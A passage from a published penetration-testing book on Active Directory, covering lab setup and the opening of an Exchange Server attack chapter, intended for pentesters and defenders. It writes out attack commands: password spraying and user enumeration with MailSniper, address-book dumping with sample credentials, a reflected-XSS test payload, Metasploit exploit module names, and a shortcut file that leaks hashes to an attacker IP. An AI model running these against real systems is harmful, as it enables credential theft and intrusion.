29,99 €
This book teaches you the tactics and techniques used to attack a Windows-based environment, along with showing you how to detect malicious activities and remediate misconfigurations and vulnerabilities.
You’ll begin by deploying your lab, where every technique can be replicated. The chapters help you master every step of the attack kill chain and put new knowledge into practice. You’ll discover how to evade defense of common built-in security mechanisms, such as AMSI, AppLocker, and Sysmon; perform reconnaissance and discovery activities in the domain environment by using common protocols and tools; and harvest domain-wide credentials. You’ll also learn how to move laterally by blending into the environment’s traffic to stay under radar, escalate privileges inside the domain and across the forest, and achieve persistence at the domain level and on the domain controller. Every chapter discusses OpSec considerations for each technique, and you’ll apply this kill chain to perform the security assessment of other Microsoft products and services, such as Exchange, SQL Server, and SCCM.
By the end of this book, you'll be able to perform a full-fledged security assessment of the Microsoft environment, detect malicious activity in your network, and guide IT engineers on remediation steps to improve the security posture of the company.
Das E-Book können Sie in Legimi-Apps oder einer beliebigen App lesen, die das folgende Format unterstützen:
Seitenzahl: 342
Veröffentlichungsjahr: 2023
Pentesting Active Directory and Windows-based Infrastructure
A comprehensive practical guide to penetration testing Microsoft infrastructure
Denis Isakov
BIRMINGHAM—MUMBAI
Copyright © 2023 Packt Publishing
All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.
Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.
Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.
Group Product Manager: Pavan Ramchandani
Publishing Product Manager: Khushboo Samkaria
Book Project Manager: Ashwin Dinesh Kharwa
Senior Editor: Sujata Tripathi
Technical Editor: Yash Bhanushali
Copy Editor: Safis Editing
Proofreader: Safis Editing
Indexer: Tejal Daruwale Soni
Production Designer: Jyoti Kadam
DevRel Marketing Coordinator: Marylou De Mello
First published: November 2023
Production reference: 1201023
Published by Packt Publishing Ltd.
Grosvenor House
11 St Paul’s Square
Birmingham
B3 1RB, UK
ISBN 978-1-80461-136-4
www.packtpub.com
To all security professionals who are fighting a good battle.
– Denis Isakov
Denis Isakov is a passionate security professional with 10+ years of experience, ranging from incident response to penetration testing. He has worked in various industries, including banking and consultancy. Denis specializes in offensive security with a particular focus on Active Directory and adversary malware analysis. He earned a master’s degree in information systems and technologies in 2012. Additionally, Denis has achieved an array of industry certifications, ranging from OSCP to GXPN. Outside of computers, Denis enjoys sports and discovering new places.
I want to thank the people who have been close to me and supported me, especially my kids, Alisa and Lev, for being patient all these evenings without playtime.
Nitish Anand, a CISSP-certified professional currently employed as a security analyst at Microsoft, is a luminary in the field of cybersecurity. With over eight years of dedicated experience, his profound understanding of security is a testament to his expertise. Nitish’s passion for exploring cutting-edge security technologies and staying abreast of recent trends in attack patterns sets him apart. His in-depth knowledge spans various facets of cybersecurity, including security use case development, CI/CD security, and macOS investigation. Beyond his professional role, Nitish is a devoted mentor, generously dedicating his free time to conducting webinars for both students and professionals and helping to shape successful careers in cybersecurity.
I am deeply grateful for the unwavering support and encouragement of my beloved family members, whose love and patience sustained me throughout the rigorous process of reviewing this book. Their boundless belief in my abilities fueled my dedication.
I extend my heartfelt thanks to my professional colleague Rakhi, whose insightful discussions and constructive feedback were invaluable during this book review process.
Ruslan Sayfiev is a seasoned professional in offensive security with over a decade of experience, assessing a variety of targets, from the web to corporate network infiltration. He holds several certifications, including OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, and CRTL. In his current role as director of the Offensive Security department at GMO Cybersecurity by IERAE in Japan, a department that he established, he leads a team specializing in penetration testing and red teaming services. He is credited with Common Vulnerabilities and Exposures (CVEs) for identifying vulnerabilities in major products from companies such as Microsoft and Cisco. He continuously hones his skills through Capture The Flag (CTF) participation and platforms such as Hack The Box, showcasing his unwavering commitment to this ever-evolving field.
I would like to thank my wife, Elvira, and our son, Tagir, for their invaluable support and patience. You have always been and will continue to be my inspiration and motivator to be the best version of myself.
Almost every day we hear about new breaches, data leaks, or ransomware attacks. Cybercrime nowadays is a big business that constantly strives for improvement. It is no longer a one-man show; cybercriminals have their own methodology, tooling, and qualified staff. The way to defend against them is to understand how they attack, their tactics, and their techniques.
We will apply this approach against various products of the most popular software vendor – Microsoft. This book is focused purely on Windows-based infrastructure because on-premises infrastructure is still a big thing for most companies. In this book, I will take you through an attack kill chain againstActive Directory (AD), Active Directory Certificate Services, Microsoft Exchange Server, Microsoft SQL Server, andSystem Center Configuration Manager (SCCM). During the process, you will be introduced to known tactics and techniques with a lot of hands-on exercises.
By the end of the book, you will be able to perform a hands-on comprehensive security assessment of Windows-based infrastructure. In addition, you will receive recommendations on how to detect adversary activity and remediation suggestions.
This book is truly intended to be an all-in-one guide for security professionals who work with Windows-based infrastructure, especially AD. Penetration testers and red team operators will find practical attack scenarios that they may encounter during real-life assessments. Security and IT engineers, as well as blue teamers and incident responders, will benefit from detection and remediation guidelines. To get the most out of this book, you should have basic knowledge of Windows services and AD.
Chapter 1, Getting the Lab Ready and Attacking Exchange Server, provides an overview of the attack kill chain, shows you how to deploy the lab environment, and focuses on Exchange Server attack surfaces with practical examples.
Chapter 2, Defense Evasion, teaches you about evading Antimalware Scan Interface (AMSI) and AppLocker, PowerShell enhanced logging, Sysmon, and Event Tracing for Windows (ETW).
Chapter 3, Domain Reconnaissance and Discovery, is where you will learn how to perform reconnaissance in a domain, blend into environment traffic, and learn more about the internals of tools such as BloodHound and Microsoft Advanced Threat Analytics (ATA).
Chapter 4, Credential Access in a Domain, covers ways to obtain credentials in the domain environment by capturing the hash, coercing authentication, “roasting” Kerberos, reading clear-text passwords if Local Administrator Password Solution (LAPS) is misconfigured, and collecting hashes of gMSA accounts or of a whole domain via DCSync.
Chapter 5, Lateral Movement in Domain and Across Forests, shows how an adversary can maneuver across an environment by abusing different types of delegation, passing different types of credential materials, relaying captured hashes, as well as moving to other forests.
Chapter 6, Domain Privilege Escalation, is where we will focus on ways to elevate privileges in a domain by abusing misconfigured Access Control Lists (ACL), Group Policy Objects (GPO), and special built-in groups, as well as moving from a child domain to a parent domain.
Chapter 7, Persistence on Domain Level, shows techniques to establish persistence on the domain level by forging tickets and manipulating ACLs and objects, as well as on the domain controller itself by adding a Skeleton Key, malicious SSP, a registry backdoor, and so on.
Chapter 8, Abusing Active Directory Certificate Services, covers the fundamentals of Public Key Infrastructure (PKI) implementation by Microsoft, along with ways to steal certificates, escalate privileges in the domain, and achieve persistence on account and domain levels.
Chapter 9, Compromising Microsoft SQL Server, is where we will focus on how to attack SQL Server, including enumeration, privilege escalation, lateral movement, and persistence.
Chapter 10, Taking over WSUS and SCCM, provides an overview of IT support management software and ways to abuse its functionality, leading to a complete takeover of the whole environment.
Software/hardware covered in the book
Operating system requirements
Windows Active Directory
Linux host
Windows Services – WSUS and AD CS
Kali virtual machine
Exchange Server
SQL Server
SCCM
There are a number of text conventions used throughout this book.
Code in text: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: “MailSniper calculates the time difference between authentication attempt responses.”
Any command-line input or output is written as follows:
[InternetShortcut] URL=any WorkingDirectory=any IconFile=\\192.168.56.100\%USERNAME%.icon IconIndex=1Bold: Indicates a new term, an important word, or words that you see on screen. For instance, words in menus or dialog boxes appear in bold. Here is an example: “We will cover attack detection and possible prevention measures, as well as offensive Operational Security (OpSec).”
Tips or important notes
Appear like this.
Feedback from our readers is always welcome.
General feedback: If you have questions about any aspect of this book, email us at [email protected] and mention the book title in the subject of your message.
Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packtpub.com/support/errata and fill in the form.
Piracy: If you come across any illegal copies of our works in any form on the internet, we would be grateful if you would provide us with the location address or website name. Please contact us at [email protected] with a link to the material.
If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.
Once you’ve read Pentesting Active Directory and Windows-based Infrastructure, we’d love to hear your thoughts! Please click here to go straight to the Amazon review page for this book and share your feedback.
Your review is important to us and the tech community and will help us make sure we’re delivering excellent quality content.
Thanks for purchasing this book!
Do you like to read on the go but are unable to carry your print books everywhere?
Is your eBook purchase not compatible with the device of your choice?
Don’t worry, now with every Packt book you get a DRM-free PDF version of that book at no cost.
Read anywhere, any place, on any device. Search, copy, and paste code from your favorite technical books directly into your application.
The perks don’t stop there, you can get exclusive access to discounts, newsletters, and great free content in your inbox daily
Follow these simple steps to get the benefits:
Scan the QR code or visit the link belowhttps://packt.link/free-ebook/9781804611364
Submit your proof of purchaseThat’s it! We’ll send your free PDF and other benefits to your email directlyWindows Active Directory is the de facto standard in most enterprises to run and support Windows-based networks. While centralized management brings convenience, it also introduces security risks. When carrying out their operations, malicious actors plan to achieve certain goals, and compromising Active Directory can help them do so. Active Directory’s default configuration is far from being secure. The best way to learn about Active Directory security is to execute attacks in a safe environment, trying to detect and prevent unwanted malicious activities.
Throughout the book, we will focus on the Active Directory kill chain, executing attacks and trying to detect as well as prevent them. This chapter will cover how to deploy a safe playground for such activities. We will use this lab throughout the book, later on adding extra services that will be covered in corresponding chapters about Active Directory Certificate Services (ADCS), SQL Server, and Windows Server Update Services (WSUS) together with System Center Configuration Manager (SCCM).
Our first practical target will be Microsoft Exchange Server. It is a complex collaboration product that is far more advanced than just an email server. From a security perspective, it is a valuable target because it is a mission-critical component of the infrastructure that is reachable from the internet. On-premises Exchange is closely tied together with Active Directory, often with high privileges.
In this chapter, we are going to cover the following main topics:
Lab architecture and deploymentActive Directory kill chainWhy initial access and host-related topics are not coveredAttacking Exchange ServerIn this chapter, you will need to have access to the following:
VMware Workstation or Oracle VirtualBox with at least 16 GB of RAM, 10 CPU cores, and at least 115 GB of total space (more if you take snapshots)A Linux-based host OS is strongly recommendedVagrant installed with the plugin for the corresponding virtualization platform and AnsibleEven if creating and deploying a test lab can be daunting and time consuming, it is an important preparation step before jumping into attack emulation. MITRE ATT&CK has a dedicated tactic for this activity called Resource Development.
There are a few free but formidable projects available for automated lab deployment. You can choose any of them depending on your workstation’s resources and replicate the vulnerabilities yourself. For example, there is a very good open source project maintained by the Splunk Threat Research Team called Splunk Attack Range[1], where you can quickly deploy a small lab to perform attack simulations. However, I will use two other projects throughout the book.
The first project I will use throughout the book is the GOADv2 lab created by Orange Cyberdefense[2]. To deploy it, you will need a Linux-based host OS with VMware Workstation or Oracle VirtualBox. It is also possible to deploy the lab on Proxmox, as shown by Mayfly in his blog[3]. Deployment is straightforward and well described in the README.md file in the repository. The entire process consists of two parts and will take around 3-4 hours depending on the speed of your internet connection. Vagrant will create virtual machines and Ansible playbooks will configure and deploy the necessary services, users, and vulnerabilities. To speed up the deployment process in the Vagrant file, we can change the box_version variable of all SRV server machines to the one that is already in the list, so only two images will be downloaded and used for further deployment. I will use VMware Workstation 16 installed on the most recent Arch Linux. After following the installation guide, the final message you’ll see should look like the following:
Figure 1.1 – Successful result of GOAD lab deployment
The second repository that I will use in some chapters is the impressive DetectionLab project created by Chris Long[4]. Unfortunately, it is not maintained anymore, but it still perfectly fits our purposes. The advantage of this lab is that it provides us with a wide variety of deployment options, including cloud platforms and all modern bare-metal hypervisors. Moreover, this lab has detection tools installed for us (Sysmon, Velociraptor, Microsoft ATA, etc.). The installation is also straightforward. The preparation shell script will help identify missing software packages and Vagrant will do the rest. The overall process will take 1-2 hours depending on your network and computer. The following screenshot shows the successful execution of the pre-deployment script, meaning we are good to start our DetectionLab:
Figure 1.2 – The result of successful execution of prepare.sh
The following diagram of the GOADv2 project was taken from the lab creator’s GitHub repository:
Figure 1.3 – GOADv2 overview
This lab has two forests (sevenkingdoms.local and essos.local) with established trust and child-parent domains (sevenkingdoms.local and north.sevenkingdoms.local). Active Directory trust effectively allows to securely access a resource from the trusted domain by the trusting domain entity. Microsoft SQL Server will be deployed in both forests with a trusted link established between instances. We will also have Internet Information Services (IIS) installed on one of the servers. ADCS provides the required digital certificate infrastructure for the company to employ public key cryptography. These certificates can be used for various purposes, such as authentication, encryption, and signing documents and/or messages. There is a dedicated server for that role in our lab where we will be able to emulate attacks on ADCS. Most of the attack venues have already been introduced by the lab creator in the environment, but if we need to add or tweak something, it will be specifically mentioned, and step-by-step guidelines will be provided – for example, installing WebClient or deploying Group Managed Service Accounts (gMSAs).
The next section will cover common approaches for attacking any target, including Active Directory.
What is Active Directory? In plain words, it is a hierarchically structured storage of object information. One of the main benefits is that Active Directory allows centralized management and authentication. Now, let us briefly discuss what the Cyber Kill Chain is. This framework was developed by Lockheed Martin and has a military background. It is a concept that identifies the structure of an attack. We can adapt Cyber Kill Chain concepts for Active Directory as in the diagram from infosecn1nja on GitHub[5]. It has several steps, but it always follows the same cycle – recon, compromise, lateral movement – just with more privileged access:
Figure 1.4 – Active Directory kill chain
The focus of this book is Windows-based infrastructure and its services only, so themes such as local privilege escalation on the host, initial access, and external recon are out of the scope of this book. I will briefly explain the reasoning behind this decision in a dedicated section of this chapter. The following is a list of the themes that will be covered in the corresponding chapters:
Exchange ServerDefense evasionInternal reconCredential accessLateral movementPrivilege escalationPersistenceAD CSMicrosoft SQL ServerWSUSMicrosoft SCCMIn this book, we are focused on compromising the Active Directory environment and Windows-based common services, not red team operations. The reasoning is that red team operations often have business-related goals rather than finding and exploiting all possible vulnerabilities in Active Directory and services. It is important to mention that depending on the target environment, scope, and level of obtained privileges during initial access, it is not always necessary to compromise every target. For example, getting access to the financial data of the company does not require domain admin privileges, but in some cases, such privileges can be helpful. We will cover attack detection and possible prevention measures, as well as offensive Operational Security (OpSec). In plain words, it refers to how much of your activity can be spotted by an adversary. This is a double-edged sword, meaning it is applicable for both offensive and defensive actions and ways to deceive the adversary.
Initial access is a vital, early-stage step to compromise the target environment. However, this will not be covered in this book for the following reasons. To be honest, this theme is as wide as it is deep. It requires cross-field knowledge from different areas of IT as well as psychology, so it would require a separate book itself. Also, there is a high chance that at the moment of such a book being published, half of the attack vectors will be killed by implementing security solutions, such as Endpoint Detection and Response (EDR), and/or covered by a blue team’s comprehensive detection capabilities. The reason is that it is rapidly developing, full of private research that isn’t published. In general, to obtain stable initial access to the target environment, there are three main topics to take care of – a resilient and secure attack infrastructure, covert tooling with the required capabilities, and successful defense evasion.
To avoid any painful mistakes being made during manual deployment, using automation such as Terraform and Ansible can help to build a resilient attacker’s infrastructure. But it comes at the price of time investment and requirements for scripting and a sysadmin skillset. One of the best resources to start with such a topic is the wiki on GitHub[6]. Infrastructure needs to be properly designed with multiple redirectors for different protocols, secured and hardened, and categorized correctly if phishing and filtering proxies are a part of the game.
Covert tooling, evasion techniques, and detections are a never-ending battle of establishing dominance between skillful blue teams, SOCs, and EDR/security vendors on one hand and offensive security researchers together with red teams on the other. A great note[7] by Jordan Potti about the red team’s efforts and ROI regarding the EDR fight is also one of the reasons why I do not cover this topic and only focus on Windows-based infrastructure and Active Directory. I do not believe it is possible to write an all-in-one comprehensive red team book covering every single topic in depth.
As our book is focused on Active Directory security concepts, we will follow the assume breach approach. A great presentation was created by Red Siege in 2019 to explain this model[8]. In our case, we assume that we have compromised a standard domain user. All further steps will be happening in the context of this user. We also assume that our initial foothold is covert and not detected by EDR/antivirus or any other security product. However, all further activities, including network traffic and generated event logs, are considered to be monitored by the blue team. Later in the book, if some activities require certain privileges, they will be specifically mentioned.
Our next section will finally be practical and more hands-on. We will discuss and replicate attacks against Exchange Server using various scenarios.
Exchange Server is a collaboration server developed by Microsoft. Despite the fact that more and more companies are moving to the O365 cloud, there is still a good possibility that you will encounter on-premises deployment. Exchange has multiple useful features for end users, but it is also extremely difficult to develop all of them securely. In recent years, a lot of research has been published revealing critical vulnerabilities in its different components. Moreover, patches from Microsoft did not always completely fix these vulnerabilities, meaning that adversaries attempted to develop a one-day exploit by reverse engineering the patch and were able to find a suitable bypass. Considering that sometimes it is not possible for businesses to react in a timely manner to such rapidly changing situations, the chance of being compromised is quite high.
But what is the benefit for an adversary to compromise Exchange? First of all, a successful takeover gives access to the mailboxes of every single user on this server. It can then evolve into an internal phishing campaign, sensitive data disclosure, and password harvesting in emails. Second, Exchange Service accounts may run with high privileges, including domain admin, making full domain takeover possible.
To assess the security of Exchange Server, we can add Exchange Server to DetectionLab; however, you would need to deploy these at your end. To spin up Exchange Server, you simply run the following commands, assuming you are using Linux:
cd /opt/DetectionLab/Vagrant/Exchange vagrant up exchangeIf you encounter any problems during the deployment, you can find logs conveniently located in the C:\exchange2016 folder:
Figure 1.5 – Logs location for Exchange deployment
Exchange allows remote access via protocols such as Exchange Web Services (EWS), Exchange ActiveSync (EAS), Outlook Anywhere, and MAPI over HTTP. The AutoDiscover service helps to retrieve Exchange configuration, mailbox settings, supported protocols, and service URLs. You can find this information in the autodiscover.xml file in the autodiscover virtual directory. Outlook Web Application (OWA) is a minimal web-based email client. This client can be accessed with just a browser without Outlook being installed. Global Address List (GAL) is a list of every mail-enabled object in an Active Directory forest. Two more concepts we will cover are Outlook rules and forms. Rules are an action that is run automatically by Outlook for Windows on incoming/outgoing emails. We create the trigger and the action. Server-side rules are executed first, then client-side. Outlook forms provide users and/or organizations with email customization options, such as the autocompletion of some fields or template text.
In this section, we will discuss tools and techniques for user enumeration and password spraying; email address extraction from GAL and Offline Address Book (OAB) or by using Name Service Provider Interface (NSPI); public point-and-click exploits; the exfiltration of sensitive data; and some techniques to get a foothold in the target environment through the client software. A great mind map for attacking Exchange on the perimeter was created by the same company that created the GOADv2 lab and is available on GitHub[9].
Our first practical task is to enumerate users and try to obtain a valid set of credentials by performing a password spray attack.
Password spray attacks require user enumeration. Firstly, we need to create a list with possible usernames and enumerate the Active Directory domain name. Secondly, we need to enumerate existing users via OWA and then perform a password spray attack. To perform these actions, we are going to use the MailSniper tool[10]. The first step can be done using Open Source Intelligence (OSINT) techniques by doing DNS reconnaissance, utilizing advanced search operators in search engines and scraping social media and the company’s external resources. There are plenty of open source tools available to perform these activities in different stages of their development life cycle. If there are email addresses published on external websites, attackers may be lucky to find an email address format such as [email protected] or [email protected]. Also, there is a site, https://hunter.io/, that can help with finding out the most common email format used in a company. If there are only general addresses such as info, security, GDPR, then we can try to use a script such as namemash[11] and/or EmailAddressMangler[12], which can create a list of all possible username permutations. After this step, the attacker will have a list of potential users that need to be validated. Now we need to find out the domain name with the help of the DomainHarvestOWA function from MailSniper. It has two options on how to obtain the correct domain name. One is to extract the name from the WWW-Authenticate header returned in the web response by the server after a request has been sent to https://mail.target.com/autodiscover/Autodiscover.xml and https://mail.target.com/EWS/Exchange.asmx. The second option is to brute-force the name by using a supplied domain list. Requests will be sent to https://mail.target.com/owa/ and the response time will be calculated. A request with an invalid domain has a much shorter response time than a valid one. Apparently, the username does not influence the delay. Let us try this reconnaissance activity:
Invoke-DomainHarvestOWA -ExchHostname 192.168.56.106The result of running the preceding command can be found in the following screenshot:
Figure 1.6 – Discovering the FQDN of the mail server
After determining the domain name, our next step is user enumeration. This is a purely time-based enumeration technique. MailSniper calculates the time difference between authentication attempt responses. When a valid username is found, the response time will be significantly shorter:
Invoke-UsernameHarvestOWA -UserList .\user.txt -ExchHostname 192.168.56.106 -Domain windomain.local -OutFile found.txtThe result of the enumeration can be found in the following screenshot:
Figure 1.7 – Successful user enumeration using OWA
We were able to find two users – Administrator and vinegrep. Now, let us perform a password spray attack against OWA. In this scenario, the tool will spray a single password against a supplied list of usernames:
Invoke-PasswordSprayOWA -ExchHostname 192.168.56.106 -UserList .\found.txt -Password Qwerty123! -OutFile creds.txtWe are able to successfully obtain a valid set of credentials for the user vinegrep:
Figure 1.8 – Valid set of credentials found for user vinegrep
A password spray attack can be performed against EWS as well with MailSniper’s Invoke-PasswordSprayEWS function. It is important to note that the obtained set of valid credentials will not grant access if Multi-Factor Authentication (MFA) is enforced. MFA will require another factor, which can be anything starting from an authentication application on a phone to a USB security token or another type of secret. Like any security measure, MFA can be bypassed if it is misconfigured or an adversary lures the user to perform the second step of authentication instead of them.
The next step is to get the most out of this valid set of credentials and access to a mailbox. In the following section, we will learn how to dump an address book and exfiltrate sensitive data.
Assuming MFA has been bypassed or not enforced and an adversary has successfully logged in to the victim’s mailbox, what are the next steps? There are a few available scenarios. Firstly, the attacker can go through emails; maybe some sensitive internal information, including passwords, certificates, documents, and endpoint addresses, can be found. As a security professional, before doing so, ensure that it is in line with the rules of engagement. The last thing you want to do is get unauthorized access to the customer’s confidential data.
Secondly, run an internal phishing campaign. Internal email processing rules may be more relaxed from a security point of view – for example, attachments being allowed. Also, such a campaign has a much higher success rate as users will be more likely to open an attachment/click a link from a colleague or manager. But it is still not a guarantee as we do not have control over non-email mediums. We can send an email to the victim’s colleague while they are discussing something in real life. However, there is a moral aspect to consider as well. Depending on the targeted company’s culture and rules, the user may lose their job.
Thirdly, we can extract all the email addresses of the company and some information about Active Directory without disclosing any mailbox content. It is possible by dumping GAL or OAB or by abusing NSPI. Let us extract GAL via a compromised account using MailSniper. This module connects to OWA and utilizes the FindPeople method to collect email addresses. This method is available from Exchange 2013 and requires the AddressListId value from the GetPeopleFilters URL:
Get-GlobalAddressList -ExchHostname 192.168.56.106 -UserName windomain.local\vinegrep -Password Qwerty123! -OutFile gal.txtSuccessful GAL extraction can be seen in the following screenshot:
Figure 1.9 – GAL extraction
With newly found email addresses, we can relaunch our password spray attack.
Another way to dump the email addresses of all Exchange users is by downloading OAB files. An important caveat is that extracting the primary email address of an existing user is required as well as any valid domain account. The steps are as follows:
Issue the web request to the autodiscover endpoint to retrieve autodiscover.xml.Search for the OABUrl value in the response, which is a path to the directory with OAB files. Do not miss other useful information, such as the domain user’s SID and domain controller name.Request oab.xml by using the OABUrl value to list OAB filenames.In oab.xml, search for a filename that includes data and has the .lzx extension.Download this file and parse it.We will need a Linux machine to run the following commands. To automate OABUrl extraction, we will use the script from GitHub[13]. The script helps with steps 1 and 2. The result can be found in the following screenshot:
Figure 1.10 – OABUrl extraction
Next, we will copy the oab.xml file and parse it to find the URL for the .lzx file with the word data in the filename. This is our GAL OAB file. As a last step, we will save the file and parse through it to find email addresses:
curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/oab.xml > oab.xml cat oab.xml | grep '.lzx' | grep data curl -k --ntlm -u 'windomain.local\vinegrep:Qwerty123!' https://exchange.windomain.local/OAB/e79472bb-2dd6-4ffb-9e02-8dd42510bb1b/007215f1-4ab8-4ed2-a503-4cd82b0d8093-data-1.lzx > oab.lzx strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,5}" | sort -uGAL emails from OAB can be seen in the following screenshot:
Figure 1.11 – GAL email extraction using OAB
Another way to dump an address book via NSPI was discovered by Positive Technologies in their research[14]. A tool named Exchanger is now a part of Impacket, so we can use it without any additional installation. As a first step, we list tables to get the GUID and then, using the GUID, dump promising tables:
python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi list-tables -count python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi dump-tables -guid 715d9794-704c-4fe3-a038-24f149747b2c -lookup-type EXTENDEDThe result of the dump can be seen in the following screenshot:
Figure 1.12 – Dumping an address book by its GUID via NSPI
Now, we can relaunch our password spray attack using extracted emails. We can also use this tool to dump Active Directory objects by their GUIDs. Please note that first we need to obtain the GUID, for example, with a PowerShell command, and only then pass it to Exchanger:
Get-ADComputer -Identity win10.ObjectGUID python3 exchanger.py windomain.local/vinegrep:'Qwerty123!'@exchange.windomain.local -debug nspi guid-known -guid b1422ca3-66c7-4d6b-b7f4-43c73e9705b2 -lookup-type EXTENDEDThe result of the Exchanger command execution can be seen in the following screenshot:
Figure 1.13 – Dumping an Active Directory object by its GUID via NSPI
On the topic of data exfiltration, we cannot refrain from mentioning a project called PEAS[15]. This tool was developed based on MWR research[16] to run commands on an ActiveSync server. The idea is that we can enumerate and access file shares in the domain through Exchange Server. The main cons of this tool are that the ActiveSync protocol must be enabled on the server and for the client’s account. Also, ActiveSync should be configured in a way that allows UNC paths and doesn’t limit SMB servers.
Another way to remotely compromise Exchange is through exploitable vulnerabilities. In recent years, quite a few critical vulnerabilities have been found and disclosed. In the next section, we will cover available public exploits.
In this section, we will discuss the Proxy* exploit family, CVE-2020-0688, and PrivExchange (CVE-2018-8581). All of them have different root causes, but they all prove that Exchange is an extremely complex piece of software with a wide attack surface.
We will start with the Proxy* exploit family. This class of vulnerabilities appeared when adversaries and researchers changed focus to a new attack surface – Client Access Service (CAS). We will start with the most famous vulnerability in Exchange history – ProxyLogon[17]. Orange Tsai from DEVCORE discovered two vulnerabilities (CVE-2021-26855 and CVE-2021-27065), which in combination allow bypassing authentication and achieving remote code execution.
CVE-2021-26855 is a Server-Side Request Forgery (SSRF) that allows bypassing authentication and sending requests with the highest privileges. When a user sends a request to the Exchange frontend, it will flow through the HTTP proxy module, which will then evaluate it and send it to the backend. It is possible to forge a server-side request by setting the X-BEResource cookie value to the desired backend URL. There are two scenarios to exploit this vulnerability. The first scenario is to access emails, but it requires at least two Exchange servers in the target environment. Another one is to authenticate to Exchange Control Panel (ECP) and then upload the web shell (CVE-2021-27065 and CVE-2021-26858). An excellent manual with step-by-step instructions and detections was published by BI.ZONE[18].
CVE-2021-27065 is a post-authentication arbitrary file write. In a nutshell, the attacker logs in to ECP and then, in the OAB virtual directory, edits the External URL field by inserting web shell code and requests a reset of the directory in order to save the web shell.
To check whether Exchange is vulnerable, we can utilize a module from Metasploit – auxiliary/scanner/http/exchange_proxylogon. The result of the scan is as follows:
Figure 1.14 – Exchange is vulnerable to a ProxyLogon vulnerability
For reliable exploitation, we can use a Metasploit exploit – exploit/windows/http/exchange_proxylogon_rce. All we need is one valid email address and that is it. The result of the exploitation can be seen in the following screenshot:
Figure 1.15 – Exploitation of the ProxyLogon vulnerability
Now let us cover ProxyOracle[19], which consists of the CVE-2021-31195 (Reflected Cross-Site Scripting) and CVE-2021-31196 (Padding Oracle Attack on Exchange Cookies Parsing) vulnerabilities, which allow recovering the victim’s username and password in plaintext from the cookie. To check whether the target installation is vulnerable (in our case, Exchange Server in the lab with the IP address 192.168.56.106), try to put this payload in the browser address bar:
https://192.168.56.106/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//If you see a pop-up alert box, as shown in the following screenshot, you found a vulnerable target:
Figure 1.16 – Reflected XSS in Exchange Server is required for successful ProxyOracle exploitation
Next on our list is another pre-authenticated RCE – ProxyShell[20]. It chains three vulnerabilities: CVE-2021-34473 (pre-authenticated path confusion, which leads to Access Control List (ACL) bypass), CVE-2021-34523 (privilege elevation on the Exchange PowerShell backend), and CVE-2021-31207 (post-authentication arbitrary file write).
In brief, the first vulnerability abuses the faulty URL normalization process in order to access an arbitrary backend URL as the Exchange machine account. The second one is the elevation of privileges by putting the Exchange admin in the X-Rps-CAT request parameter, which is used to restore the user identity when the X-CommonAccessToken header is missing. The third one is writing a shell via Exchange PowerShell commands.
Metasploit has our back here as well with exploit/windows/http/exchange_proxyshell_rce. The result of the exploitation is as follows:
Figure 1.17 – ProxyShell successful exploitation
It is time to discuss the ProxyNotShell[21] vulnerability. It is similar to ProxyShell, as it consists of a pair of vulnerabilities, which are SSRF (CVE-2022–41040) and RCE via PowerShell (CVE-2022–41082). The difference this time is that it requires the attacker to be authenticated. Again, we have an exploit available in Metasploit– exploit/windows/http/exchange_proxynotshell_rce. An important note is that the exploit in Metasploit is only available for Exchange 2019. We can see the
